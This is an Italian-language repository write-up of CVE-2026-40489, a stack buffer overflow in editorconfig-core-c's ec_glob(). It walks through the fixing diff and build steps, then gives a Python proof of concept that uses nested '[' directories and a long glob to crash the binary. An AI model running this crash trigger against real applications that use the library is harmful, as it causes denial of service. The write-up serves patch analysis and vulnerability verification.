saretawa/cve-2026-40489Proof-of-concept e analisi della patch per CVE-2026-40489, un buffer overflow nello stack in editorconfig-core-c ec_glob(), con passaggi di build e un trigger di crash in Python.
Descrizione NIST relativa alla CVE:
editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains
an updated fix.
clona entrambe le versioni:
git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c
# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4
# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8
ne faremo il diff:
git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c
Il diff:
diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
_Bool are_braces_paired = 1;
UT_array * nums; /* number ranges */
int ret = 0;
+ size_t pattern_len = strlen(pattern);
- strcpy(l_pattern, pattern);
+ /* Reject patterns that would overflow l_pattern in the copy below. */
+ if (pattern_len >= sizeof(l_pattern))
+ return -1;
+ memcpy(l_pattern, pattern, pattern_len + 1);
p_pcre = pcre_str + 1;
pcre_str_end = pcre_str + 2 * PATTERN_MAX;
il vecchio codice era una riga:
strcpy(l_pattern, pattern);
copia i byte finché non incontra un terminatore nullo, senza preoccuparsi di quanto sia grande la destinazione. Se pattern è più lungo di 8194 byte (2 * PATTERN_MAX), scrive oltre la fine di l_pattern e sullo stack.
la correzione fa tre cose:
strlen(pattern) ottiene la lunghezza prima di copiare qualsiasi cosa-1 invece di copiare. Il >= (non >) è importante perché serve spazio anche per il terminatore nullo.memcpy invece di strcpy poiché la lunghezza è già nota, non c'è motivo di scansionare di nuovo la stringa. memcpy copia esattamente pattern_len + 1 byte (il +1 include il terminatore nullo).compiliamo il binario e assicuriamoci che funzioni:
rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make
PoC:
import os
import subprocess
import shutil
base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
nested = os.path.join(nested, "[" * 200)
test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")
binary_path = "/tmp/editorconfig"
if os.path.exists(base):
shutil.rmtree(base)
os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()
# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000
with open(config_file, 'w') as f:
f.write("root = true\n\n")
f.write(f"[{glob_pattern}]\n")
f.write("indent_size = 2\n")
res = subprocess.run([binary_path, test_file], capture_output=True, text=True)
if res.returncode == -6:
print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
print(f"[-] not vulnerable (return code: {res.returncode})")
Il binario cerca .editorconfig nella cartella in cui si trova il file .txt e ne legge il pattern glob.
Quando esegui editorconfig /tmp/dummy-config/[[[[[.../test.txt, il binario deve confrontare il nome del file con il pattern glob di .editorconfig; per farlo, costruisce un pattern completo come: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... Antepone il percorso della directory al glob in modo da poter confrontare con il percorso completo del file.
[ significa qualcosa nella sintassi glob (è una classe di caratteri, come [a-z]). La directory ha letteralmente [ nel suo nome, non è inteso come glob. Quindi il codice esegue l'escape di ciascuno con una barra rovesciata: [ → \[. Questo significa "[ letterale, non un glob". editorconfig.c lo fa automaticamente. Quando legge il percorso del tuo file .editorconfig, scorre ogni carattere e, se trova un carattere speciale per il glob, inserisce un \ prima di esso. Questo avviene prima che il percorso raggiunga mai ec_glob()
Ogni [ nel percorso guadagna un carattere extra. 2100 caratteri diventano ~4200. Aggiungendo il glob di 4000 caratteri in cima, questa stringa viene passata a ec_glob(), che esegue strcpy(l_pattern, pattern) in un buffer di 8194 byte. 8203 > 8194 il che significa che scrive oltre il buffer.
su Linux moderno con FORTIFY_SOURCE, il runtime rileva la sovrascrittura e termina il processo con SIGABRT (segnale 6). Python lo vede come codice di ritorno -6, il codice di ritorno -6 significa che è vulnerabile, 0 o 1 = corretto (la correzione aggiunge un controllo di lunghezza prima della copia e restituisce -1 se è troppo lungo)